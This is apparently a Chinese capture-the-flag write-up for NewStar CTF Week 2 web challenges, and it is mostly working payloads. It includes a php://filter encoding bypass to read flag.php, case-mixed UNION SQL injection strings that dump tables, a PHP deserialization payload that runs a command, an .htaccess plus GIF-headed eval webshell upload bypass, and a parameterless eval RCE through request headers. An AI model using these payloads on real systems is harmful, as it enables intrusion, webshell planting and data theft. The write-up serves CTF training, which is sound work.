NewStar CTF WEEK 2

游戏高手

简单的JS小游戏

如果你像我一样无聊,你可以尝试将飞机拉至最下方,静等flag

image-20231013201850838

找到了下面这段代码,大概就是玩够分数给你信息的意思

image-20231013202021581

这里执行在控制台进行变量定义,然后直接去送,得到flag

image-20231013202154600

include 0。0

源代码如下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

考伪协议,过滤了base和rot,这里用其他编码进行绕过

1
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

解密脚本

1
2
3
4
5
6
<?php
$stringa = "获得的加密字符";
$stringb = mb_convert_encoding($stringa, 'UCS-2LE', 'UCS-2BE');

echo $stringb;
?>

ez_sql

sql注入,大写绕过,列数5列,直接看出来的

爆库名

1
Union Select 1,2,3,4,dataabse() --+

爆表名

1
unioN Select 1,2,3,4,Group_Concat(Table_nAme) fRom infoRmAtion_schemA.tAbles whEre tAble_schemA='ctf' #

爆列名

1
Union Select 1,2,3,4,gRoup_coNcat(cOlumn_nAme) fRom infOrmAtion_schEma.cOlumns whEre tAble_Name='here_is_flag' --+

爆内容

1
Union sElect 1,2,4,3,gRoup_cOncat(flag) fRom here_is_flag --+

Unserialize?

实例化类自动触发destruct类,利用echo触发tostring方法,进行命令执行

payload:

1
2
3
4
5
6
7
<?php
class evil {
private $cmd='nl /th1s_1s_fffflllll4444aaaggggg';
}
$a = new evil();
echo urlencode(serialize($a));
?>

Upload again!

经过测试发现是对shell的内容进行了检查,感觉是检查了问号,文件后缀也做了过滤,php指定是传不上去了,这里使用.htaccess配置文件解析.jpg后缀进行绕过

.htaccess

1
AddType application/x-httpd-php .jpg

chu0.jpg

1
2
GIF89a
<script language="php"> eval($_POST['chu0']); </script>

image-20231013203719913

R!!C!!E!!

首先是一个.git信息泄露,用GitHack-master获取.git的内容

源码如下:bo0g1pop.php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

经典的无参数rce,payload如下

1
eval(array_pop(getallheaders()));   //getall...获取请求头信息,pop出最后一个进行eval

请求头添加

1
2
ZZZsd123=phpinfo();
//这里注意,请求头的首字母一定靠后,这样才能保证他是请求头的最后一个,才能被eval正确的执行